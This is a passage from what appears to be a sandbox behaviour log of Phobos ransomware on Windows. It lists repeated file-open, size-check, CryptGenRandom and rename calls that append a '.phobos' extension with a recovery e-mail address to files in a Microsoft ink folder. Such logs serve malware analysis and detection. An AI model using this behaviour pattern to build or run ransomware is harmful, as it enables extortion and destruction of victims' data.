shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.454] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.454] CloseHandle (hObject=0x580) returned 1 [0149.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0149.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.455] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.455] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.455] CloseHandle (hObject=0x580) returned 1 [0149.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0149.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.456] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.456] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.456] CloseHandle (hObject=0x580) returned 1 [0149.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0149.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.457] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.474] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10240) returned 1 [0149.474] CloseHandle (hObject=0x580) returned 1 [0149.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0149.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.475] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.504] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11264) returned 1 [0149.505] CloseHandle (hObject=0x580) returned 1 [0149.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui")) returned 0x20 [0149.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-ca\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.505] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.512] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9728) returned 1 [0149.512] CloseHandle (hObject=0x580) returned 1 [0149.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0149.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.513] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.515] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2018304) returned 1 [0149.515] CloseHandle (hObject=0x580) returned 1 [0149.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0149.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0149.516] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0 [0149.516] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.518] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=367104) returned 1 [0149.518] CloseHandle (hObject=0x580) returned 1 [0149.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe")) returned 0x20 [0149.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.519] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.530] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2560) returned 1 [0149.530] CloseHandle (hObject=0x580) returned 1 [0149.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll")) returned 0x20 [0149.530] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.531] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.531] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.533] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=41984) returned 1 [0149.533] CloseHandle (hObject=0x580) returned 1 [0149.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0149.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.534] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.534] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=125952) returned 1 [0149.534] CloseHandle (hObject=0x580) returned 1 [0149.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0149.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.535] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.542] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10752) returned 1 [0149.542] CloseHandle (hObject=0x580) returned 1 [0149.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0149.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.542] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.543] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7680) returned 1 [0149.543] CloseHandle (hObject=0x580) returned 1 [0149.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui")) returned 0x20 [0149.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.543] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.544] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.544] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7680) returned 1 [0149.544] CloseHandle (hObject=0x580) returned 1 [0149.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0149.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.544] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.580] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=763) returned 1 [0149.580] CloseHandle (hObject=0x580) returned 1 [0149.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml")) returned 0x20 [0149.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\chstic.dgml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\languagemodel\\chstic.dgml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.580] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.610] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1075712) returned 1 [0149.611] CloseHandle (hObject=0x580) returned 1 [0149.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0149.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mshwlatin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.613] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0149.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.613] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10240) returned 1 [0149.613] CloseHandle (hObject=0x580) returned 1 [0149.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0149.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft 